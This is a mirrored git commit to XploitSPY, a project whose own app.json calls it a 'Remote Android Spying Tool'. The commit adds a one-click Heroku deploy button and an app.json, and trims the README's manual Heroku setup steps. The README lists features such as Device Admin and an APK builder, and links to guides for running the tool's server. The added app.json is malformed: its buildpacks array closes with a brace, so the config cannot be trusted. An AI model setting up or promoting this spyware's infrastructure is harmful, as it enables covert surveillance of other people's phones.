mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2024-11-05 09:59:20 +08:00
deploy to Heroku button added
This commit is contained in:
parent
82c4978051
commit
46047ef8b8
54
README.md
54
README.md
@ -22,59 +22,23 @@ NOTE: Read all steps carefully to setup XploitSPY as we keep changing them as pe
|
|||||||
- Device Admin
|
- Device Admin
|
||||||
- Built In APK Builder
|
- Built In APK Builder
|
||||||
|
|
||||||
|
|
||||||
|
<a href="https://heroku.com/deploy?template=https://github.com/XploitWizer/XploitSPY">
|
||||||
|
<img src="https://www.herokucdn.com/deploy/button.svg" alt="Deploy">
|
||||||
|
</a>
|
||||||
|
|
||||||
|
## Installation on VPS or Server
|
||||||
|
|
||||||
## Prerequisites
|
## Prerequisites
|
||||||
- Java Runtime Environment 9+
|
- Java Runtime Environment 9 or above
|
||||||
- See [installation](#Installation) for OS specifics
|
|
||||||
- NodeJs
|
- NodeJs
|
||||||
- A Server
|
- A Server
|
||||||
|
|
||||||
## Installation on Heroku
|
Setps of Installation [Click Here](https://xploitwizer.com/blog/27/how-to-install-xploitspy-on-vps)
|
||||||
|
|
||||||
[Installation on Heroku using Termux](https://xploitwizer.com/blog/26/how-to-setup-xploitspy-with-termux-on-heroku-server)
|
|
||||||
|
|
||||||
|
|
||||||
Video Tutorial for Heroku [Click Here](https://youtu.be/IoJGFZWCPko)
|
|
||||||
|
|
||||||
|
|
||||||
0. Create a Account on [Heroku](https://heroku.com)
|
|
||||||
|
|
||||||
1. Click `Create New App` in Heroku Dashboard
|
|
||||||
|
|
||||||
2. Enter App Name and click on create app
|
|
||||||
|
|
||||||
3. Now install Heroku CLI on your Computer [Instuctions](https://devcenter.heroku.com/articles/heroku-cli)
|
|
||||||
|
|
||||||
4. Now open your terminal and run command ` git clone https://github.com/XploitWizer/XploitSPY `
|
|
||||||
|
|
||||||
5. It will download Latest codes for you in your PC
|
|
||||||
|
|
||||||
6. Now change the directory to XploitSPY using command `cd XploitSPY`
|
|
||||||
|
|
||||||
7. Now Login into Heroku CLI using command ` heroku login -i` now enter your login details and hit Enter
|
|
||||||
|
|
||||||
8. After Login run this command in terminal ` heroku git:remote -a appName` here appName will be your app's name that you choose while creating the app.
|
|
||||||
|
|
||||||
9. Now run follow commands in termial to install packages
|
|
||||||
|
|
||||||
- ` heroku buildpacks:add heroku/jvm`
|
|
||||||
|
|
||||||
then run
|
|
||||||
|
|
||||||
- ` heroku buildpacks:add heroku/nodejs`
|
|
||||||
|
|
||||||
10. Now run this command in your terminal ` git push heroku master`, if updating existing app or face any error run this command ` git push -f heroku master`
|
|
||||||
1
|
|
||||||
11. All done now it will take time to complete, after that you can visit your domain shown in terminal.
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
## [Installation on VPS or Server](https://xploitwizer.com/blog/27/how-to-install-xploitspy-on-vps)
|
|
||||||
|
|
||||||
Video Tutorial for VPS or Server [Click Here](https://youtu.be/F0K1IXvdEJk)
|
Video Tutorial for VPS or Server [Click Here](https://youtu.be/F0K1IXvdEJk)
|
||||||
|
|
||||||
|
|
||||||
NOTE : XploitSPY now works only on port 80 for both web and client, make sure no other service running on port 80
|
|
||||||
|
|
||||||
It's recommended to run XploitSPY behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/)
|
It's recommended to run XploitSPY behind a reverse proxy such as [NGINX](https://www.nginx.com/resources/wiki/start/topics/tutorials/install/)
|
||||||
|
|
||||||
## Buy us a Coffee
|
## Buy us a Coffee
|
||||||
|
30
app.json
Normal file
30
app.json
Normal file
@ -0,0 +1,30 @@
|
|||||||
|
{
|
||||||
|
"name": "xploitspy",
|
||||||
|
"version": "1.0.0",
|
||||||
|
"description": "XploitSPY - Remote Android Spying Tool",
|
||||||
|
"main": "index.js",
|
||||||
|
"scripts": {
|
||||||
|
"start": "node server/index.js",
|
||||||
|
"test": "node server/index.js"
|
||||||
|
},
|
||||||
|
"author": "XploitWizer",
|
||||||
|
"license": "ISC",
|
||||||
|
"dependencies": {
|
||||||
|
"body-parser": "^1.19.0",
|
||||||
|
"cookie-parser": "^1.4.4",
|
||||||
|
"ejs": "^2.6.2",
|
||||||
|
"express": "^4.17.1",
|
||||||
|
"express-async-handler": "^1.1.4",
|
||||||
|
"geoip-lite": "^1.3.7",
|
||||||
|
"lowdb": "^1.0.0",
|
||||||
|
"node-fetch": "^2.6.0",
|
||||||
|
"socket.io": "^2.2.0"
|
||||||
|
},
|
||||||
|
"buildpacks": [
|
||||||
|
{
|
||||||
|
"url": "heroku/jvm"
|
||||||
|
},
|
||||||
|
{
|
||||||
|
"url": "heroku/nodejs"
|
||||||
|
}
|
||||||
|
}
|
Loading…
Reference in New Issue
Block a user